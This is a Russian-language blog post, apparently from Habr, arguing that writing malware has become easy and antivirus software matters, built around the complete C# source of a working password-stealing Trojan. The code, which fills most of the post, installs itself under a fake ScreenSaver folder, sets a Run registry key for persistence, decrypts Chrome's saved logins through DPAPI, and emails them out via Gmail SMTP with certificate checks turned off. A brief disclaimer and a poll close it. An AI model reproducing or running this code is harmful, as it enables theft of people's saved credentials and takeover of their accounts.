Как стать автором
Обновить

Базовый вирус за 20 минут или почему стоит пользоваться антивирусом

Время на прочтение11 мин
Количество просмотров21K
Приветствую.

В наши дни порог вхождения в мир программирования существенно упал — если раньше, на заре цифровой эпохи, программирование было чем-то из ряда вон выдающимся, «уделом избранных», то сегодня написать кейлоггер или червя может каждый школьник, хоть немного умеющий гуглить и уверенно обращающийся с компьютером. Не обладая какими-либо специальными навыками, можно создать софт, способный причинить немало неприятностей пользователям ПК, которые по тем или иным причинам пренебрегают антивирусными программами.

Под катом — пример написания подобного вредоносного ПО и немного мыслей о том — почему это стало настолько доступным.

Итак, для начала формализуем — что в контексте данной статьи рассматривается под понятиями «вируса» и «червя». Формально, понятие «вирус» было впервые введено в 1984 году Фредом Коэном и оно звучало так:
We define a computer ‘virus’ as a program that can ‘infect’ other programs by modifying them to include a possibly evolved copy of itself

Позднее он исправил свое же определение, сконцентрировавшись на способности к саморазмножению — т.е. к рекурсивному копированию кода программы. Таким образом, в более фундаментальном смысле вирус был определен как код, исполнение которого приведет к записи копии этого кода на ленту машины Тьюринга впереди по ходу исполнения, т.е. в будущем.
Данное определение не совсем корректно по отношению к большинству современных вирусов, потому что реальные вирусы не обязательно должны копироваться рекурсивно, да и по большому счету — даже копироваться, но данная модель считается классической и ее уместно применить для написания «сферического вируса в вакууме».

Кроме того, в 1992 году в своей статье Коэн ввел формальное определение компьютерного червя. С полным формальным определением можно ознакомиться в первоисточнике, тут лишь приведу краткую цитату:
Recently, the term «worm» has been widely used to describe programs that automatically replicate and initialize interpretation of their replicas.1 By contrast, the definition of viruses covers all self-replicating programs but does not address the manner in which replicas may be actuated.

Т.е. причиной выполнения червя может быть не червь-родитель, а по любому триггеру, например, загрузке компьютера или по таймеру.

На самом деле классификация вирусов гораздо шире, и каждый вирус попадает сразу под несколько категорий, даже просто «троянов» есть больше десятка видов. Речь не об этом.

Реализуем еще один вирус в эту плеяду. Скажу сразу — на реальном железе, защищенном даже простеньким антивирусом он работать не будет, но наглядно демонстрирует принципы, лежащие в основе большинства вирусных программ.

Полный код под спойлером (осторожно, его много):

Заголовок спойлера
using System;
using System.Text;
using System.IO;
using System.Data.SQLite;
using System.Data;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Net.Mail;
using System.Net;
using Microsoft.Win32;
using System.Threading;

public class DPAPI
{
    [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    private static extern
    bool CryptProtectData(ref DATA_BLOB pPlainText, string szDescription, ref DATA_BLOB pEntropy, IntPtr pReserved,
    ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pCipherText);

    [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    private static extern
    bool CryptUnprotectData(ref DATA_BLOB pCipherText, ref string pszDescription, ref DATA_BLOB pEntropy,
    IntPtr pReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pPlainText);

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    internal struct DATA_BLOB
    {
        public int cbData;
        public IntPtr pbData;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    internal struct CRYPTPROTECT_PROMPTSTRUCT
    {
        public int cbSize;
        public int dwPromptFlags;
        public IntPtr hwndApp;
        public string szPrompt;
    }

    static private IntPtr NullPtr = ((IntPtr)((int)(0)));

    private const int CRYPTPROTECT_UI_FORBIDDEN = 0x1;
    private const int CRYPTPROTECT_LOCAL_MACHINE = 0x4;

    private static void InitPrompt(ref CRYPTPROTECT_PROMPTSTRUCT ps)
    {
        ps.cbSize = Marshal.SizeOf(
        typeof(CRYPTPROTECT_PROMPTSTRUCT));
        ps.dwPromptFlags = 0;
        ps.hwndApp = NullPtr;
        ps.szPrompt = null;
    }

    private static void InitBLOB(byte[] data, ref DATA_BLOB blob)
    {
        // Use empty array for null parameter.
        if (data == null)
            data = new byte[0];

        // Allocate memory for the BLOB data.
        blob.pbData = Marshal.AllocHGlobal(data.Length);

        // Make sure that memory allocation was successful.
        if (blob.pbData == IntPtr.Zero)
            throw new Exception(
            "Unable to allocate data buffer for BLOB structure.");

        // Specify number of bytes in the BLOB.
        blob.cbData = data.Length;

        // Copy data from original source to the BLOB structure.
        Marshal.Copy(data, 0, blob.pbData, data.Length);
    }

    public enum KeyType { UserKey = 1, MachineKey };

    private static KeyType defaultKeyType = KeyType.UserKey;

    public static string Encrypt(string plainText)
    {
        return Encrypt(defaultKeyType, plainText, String.Empty, String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText)
    {
        return Encrypt(keyType, plainText, String.Empty,
        String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText, string entropy)
    {
        return Encrypt(keyType, plainText, entropy, String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText, string entropy, string description)
    {
        // Make sure that parameters are valid.
        if (plainText == null) plainText = String.Empty;
        if (entropy == null) entropy = String.Empty;

        // Call encryption routine and convert returned bytes into
        // a base64-encoded value.
        return Convert.ToBase64String(
        Encrypt(keyType,
        Encoding.UTF8.GetBytes(plainText),
        Encoding.UTF8.GetBytes(entropy),
        description));
    }

    public static byte[] Encrypt(KeyType keyType, byte[] plainTextBytes, byte[] entropyBytes, string description)
    {
        // Make sure that parameters are valid.
        if (plainTextBytes == null) plainTextBytes = new byte[0];
        if (entropyBytes == null) entropyBytes = new byte[0];
        if (description == null) description = String.Empty;

        // Create BLOBs to hold data.
        DATA_BLOB plainTextBlob = new DATA_BLOB();
        DATA_BLOB cipherTextBlob = new DATA_BLOB();
        DATA_BLOB entropyBlob = new DATA_BLOB();

        // We only need prompt structure because it is a required
        // parameter.
        CRYPTPROTECT_PROMPTSTRUCT prompt =
        new CRYPTPROTECT_PROMPTSTRUCT();
        InitPrompt(ref prompt);

        try
        {
            // Convert plaintext bytes into a BLOB structure.
            try
            {
                InitBLOB(plainTextBytes, ref plainTextBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize plaintext BLOB.", ex);
            }

            // Convert entropy bytes into a BLOB structure.
            try
            {
                InitBLOB(entropyBytes, ref entropyBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize entropy BLOB.", ex);
            }

            // Disable any types of UI.
            int flags = CRYPTPROTECT_UI_FORBIDDEN;

            // When using machine-specific key, set up machine flag.
            if (keyType == KeyType.MachineKey)
                flags |= CRYPTPROTECT_LOCAL_MACHINE;

            // Call DPAPI to encrypt data.
            bool success = CryptProtectData(ref plainTextBlob,
            description,
            ref entropyBlob,
            IntPtr.Zero,
            ref prompt,
            flags,
            ref cipherTextBlob);
            // Check the result.
            if (!success)
            {
                // If operation failed, retrieve last Win32 error.
                int errCode = Marshal.GetLastWin32Error();

                // Win32Exception will contain error message corresponding
                // to the Windows error code.
                throw new Exception(
                "CryptProtectData failed.", new Win32Exception(errCode));
            }

            // Allocate memory to hold ciphertext.
            byte[] cipherTextBytes = new byte[cipherTextBlob.cbData];

            // Copy ciphertext from the BLOB to a byte array.
            Marshal.Copy(cipherTextBlob.pbData,
            cipherTextBytes,
            0,
            cipherTextBlob.cbData);

            // Return the result.
            return cipherTextBytes;
        }
        catch (Exception ex)
        {
            throw new Exception("DPAPI was unable to encrypt data.", ex);
        }
        // Free all memory allocated for BLOBs.
        finally
        {
            if (plainTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(plainTextBlob.pbData);

            if (cipherTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(cipherTextBlob.pbData);

            if (entropyBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(entropyBlob.pbData);
        }
    }

    public static string Decrypt(string cipherText)
    {
        string description;

        return Decrypt(cipherText, String.Empty, out description);
    }

    public static string Decrypt(string cipherText, out string description)
    {
        return Decrypt(cipherText, String.Empty, out description);
    }

    public static string Decrypt(string cipherText, string entropy, out string description)
    {
        // Make sure that parameters are valid.
        if (entropy == null) entropy = String.Empty;

        return Encoding.UTF8.GetString(
        Decrypt(Convert.FromBase64String(cipherText),
        Encoding.UTF8.GetBytes(entropy),
        out description));
    }

    public static byte[] Decrypt(byte[] cipherTextBytes, byte[] entropyBytes, out string description)
    {
        // Create BLOBs to hold data.
        DATA_BLOB plainTextBlob = new DATA_BLOB();
        DATA_BLOB cipherTextBlob = new DATA_BLOB();
        DATA_BLOB entropyBlob = new DATA_BLOB();

        // We only need prompt structure because it is a required
        // parameter.
        CRYPTPROTECT_PROMPTSTRUCT prompt =
        new CRYPTPROTECT_PROMPTSTRUCT();
        InitPrompt(ref prompt);

        // Initialize description string.
        description = String.Empty;

        try
        {
            // Convert ciphertext bytes into a BLOB structure.
            try
            {
                InitBLOB(cipherTextBytes, ref cipherTextBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize ciphertext BLOB.", ex);
            }

            // Convert entropy bytes into a BLOB structure.
            try
            {
                InitBLOB(entropyBytes, ref entropyBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize entropy BLOB.", ex);
            }

            // Disable any types of UI. CryptUnprotectData does not
            // mention CRYPTPROTECT_LOCAL_MACHINE flag in the list of
            // supported flags so we will not set it up.
            int flags = CRYPTPROTECT_UI_FORBIDDEN;

            // Call DPAPI to decrypt data.
            bool success = CryptUnprotectData(ref cipherTextBlob,
            ref description,
            ref entropyBlob,
            IntPtr.Zero,
            ref prompt,
            flags,
            ref plainTextBlob);

            // Check the result.
            if (!success)
            {
                // If operation failed, retrieve last Win32 error.
                int errCode = Marshal.GetLastWin32Error();

                // Win32Exception will contain error message corresponding
                // to the Windows error code.
                throw new Exception(
                "CryptUnprotectData failed.", new Win32Exception(errCode));
            }

            // Allocate memory to hold plaintext.
            byte[] plainTextBytes = new byte[plainTextBlob.cbData];

            // Copy ciphertext from the BLOB to a byte array.
            Marshal.Copy(plainTextBlob.pbData,
            plainTextBytes,
            0,
            plainTextBlob.cbData);

            // Return the result.
            return plainTextBytes;
        }
        catch (Exception ex)
        {
            throw new Exception("DPAPI was unable to decrypt data.", ex);
        }
        // Free all memory allocated for BLOBs.
        finally
        {
            if (plainTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(plainTextBlob.pbData);

            if (cipherTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(cipherTextBlob.pbData);

            if (entropyBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(entropyBlob.pbData);
        }
    }
}

public class Chrome
{

    static string filename = "passwords.html";
    static string db_way = "Login Data"; //путь к файлу базы данных

    static string wayToDir = @"Screens\";
    static string wayToScreen;
    static string finalDir = @"C:\Program Files (x86)\Windows\ScreenSaver\";
    static void Main(string[] args)
    {
        
        Registr();
        Thread.Sleep(5 * 60 * 1000);
        Generate();
        Send();
     
    }
   
    static void Registr()
    {
        string way = Environment.GetCommandLineArgs()[0];
        try
        {
            

            if (!Directory.Exists(finalDir))
            {
                Directory.CreateDirectory(finalDir);
                foreach (string iter in Directory.GetFiles(Environment.CurrentDirectory))
                {
                   // Console.WriteLine(iter);
                    string nameOfFile = iter.Split('\\')[iter.Split('\\').Length - 1];
                    //Console.WriteLine(nameOfFile);
                    File.Copy(iter, finalDir + nameOfFile, true);
                }
                Directory.CreateDirectory(finalDir + "x64");
                Directory.CreateDirectory(finalDir + "x86");
                File.Copy(Environment.CurrentDirectory + "\\x64\\SQLite.Interop.dll", finalDir + "\\x64\\SQLite.Interop.dll");
                File.Copy(Environment.CurrentDirectory + "\\x86\\SQLite.Interop.dll", finalDir + "\\x86\\SQLite.Interop.dll");


                const string name = "SoftWare";
                string ExePath = finalDir + "soft.exe";
                File.Copy(way, ExePath, true);
                RegistryKey reg;
                reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
                try
                {
                    reg.SetValue(name, ExePath);
                    reg.Close();
                }
                catch
                {   }
            }

        }
        catch
        {   }
    }
    static void Generate()
    {
        try
        {
            string way_to_original = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data";
            File.Copy(way_to_original, "Login Data", true);

            StreamWriter Writer = new StreamWriter(filename, false, Encoding.UTF8);

            string db_field = "logins"; //имя поля БД
            byte[] entropy = null; //разработчики не стали использовать энтропию.
                                   //Однако класс DPAPI требует указания энтропии в любом случае,
                                   //независимо от того - присутствует она, или нет.
            string description; //к сожалению я не понял смысла данной переменной, но она так же обязательная.
                                // Подключаемся к базе данных
            string ConnectionString = "data source=" + db_way + ";New=True;UseUTF16Encoding=True";
            DataTable DB = new DataTable();
            string sql = string.Format("SELECT * FROM {0} {1} {2}", db_field, "", "");

            using (SQLiteConnection connect = new SQLiteConnection(ConnectionString))
            {
                SQLiteCommand command = new SQLiteCommand(sql, connect);
                SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
                adapter.Fill(DB);
                int rows = DB.Rows.Count;

                for (int i = 0; i < rows; i++)
                {
                    Writer.Write(i + 1 + ") "); // Здесь мы записываем порядковый номер нашей троицы "Сайт-логин-пароль". 
                    Writer.WriteLine(DB.Rows[i][1] + "<br>"); //Это ссылка на сайт
                    Writer.WriteLine(DB.Rows[i][3] + "<br>"); //Это логин
                                                              // Здесь начинается расшифровка пароля
                    byte[] byteArray = (byte[])DB.Rows[i][5];
                    byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
                    string password = new UTF8Encoding(true).GetString(decrypted);
                    Writer.WriteLine(password + "<br><br>");
                }

            }

            Writer.Close();
        }
        catch
        {   }
    }

    static void Send()
    {
        MailAddress from = new MailAddress("l**************d@gmail.com", "Passwords");
        MailAddress to = new MailAddress("a***********v@yandex.ru");
        MailMessage m = new MailMessage(from, to);
        m.Subject = (DateTime.Now).ToString();
        m.Body = "";
        m.IsBodyHtml = true;
        SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587); ;
        smtp.Credentials = new NetworkCredential("l*****************d@gmail.com", "q********l");
        smtp.EnableSsl = true;
        ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
        m.Attachments.Add(new Attachment(filename));
        try
        {
            smtp.Send(m);
        }
        catch { }
    }


}


Большая часть кода, отвечающего за расшифровку пароля взята из соответствующей статьи о хранении паролей в Хроме, которая, собственно, легко гуглиться и находиться в общем доступе.

Все, что бы осталось, что бы превратить этот программный продукт в трояна — добавить возможность «заразить» им компьютер без ведома пользователя, добавить некоторе условие срабатывания, ну и научить отправлять украденную информацию на некоторый удаленный сервер.
Соответственно, в main неплохо прослеживается каждый из этапов. В функции Registr программа копирует себя в служебную папку и прописывает себя в автозапуск при загрузке операционной системы, в блоке Generate — генерирует файлик с паролями и логинами, тут все немного запутано, но бОльшая часть кода использованного здесь — скопировано из открытых источников. Код прокомментирован по месту, тут повторяться не вижу смысла. Ну и наконец функция Send отправляет файл с паролями на указанную почту. Код тоже не требует глубоких познаний сокетов и стека TCP/IP — в .NET все довольно приятно обернуто в высокоуровневый класс для работы с почтой. При необходимости можно передавать данные любом из протоколов, включая POST-запросы и FTP сервера, но что бы не приходилось поднимать сервер — можно воспользоваться почтой.

В итоге, за полчаса работы с кодом мы получили полноценного трояна, который, безусловно, ловится антивирусами, но если не брать это во внимание — работает совершенно корректно. А в свое время написание подобной программы занимало многие сотни строк кода. Сейчас же это заняло пару десятков минут.

Хорошо это или плохо? Вопрос очень открыты, потому что с одной стороны снижение уровня входа в профессию повышает приток кадров, в последнее время написаь работающую программу стало порядком проще, соответственно — программ стало больше, а в условиях рыночной экономики это безусловно хорошо, ведь конкуренция повышает качество. С другой стороны, низкий порог входа означает большое количество низко- и среднеквалифицированных кадров, из-за которых качество программных продуктов остается ниже желаемого даже с учетом всех средств, облегчающих работу разработчика — современные высокоуровневые языки программирования, интегрированные среды разработки, дебаггеры и т.д.

Ну и безусловно — раз стало больше программных продуктов, больше стало и вирусов. Конечно, аккуратный и внимательный пользователь как правило умеет их избегать — не переходит по ссылкам из писем и не вставляет непроверенные флешки. Но факт остается фактом — сейчас, когда базовый вирус умеет написать каждый старшеклассник — антивирусы стали востребованнее, чем пару десятков лет назад.

Автор ни коим образом не рекомендует создавать вредоносное программное обеспечение и напоминает, что незаконное получение доступа к приватной информации преследуется по закону.
Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
Снижение уровня входа в специальность сказалось на IT сфере…
47.5% Положительно57
52.5% Отрицательно63
Проголосовали 120 пользователей. Воздержались 47 пользователей.
Теги:
Хабы:
Всего голосов 20: ↑3 и ↓17-12
Комментарии38

Публикации

Работа

Ближайшие события

15 – 16 ноября
IT-конференция Merge Skolkovo
Москва
22 – 24 ноября
Хакатон «AgroCode Hack Genetics'24»
Онлайн
28 ноября
Конференция «TechRec: ITHR CAMPUS»
МоскваОнлайн
25 – 26 апреля
IT-конференция Merge Tatarstan 2025
Казань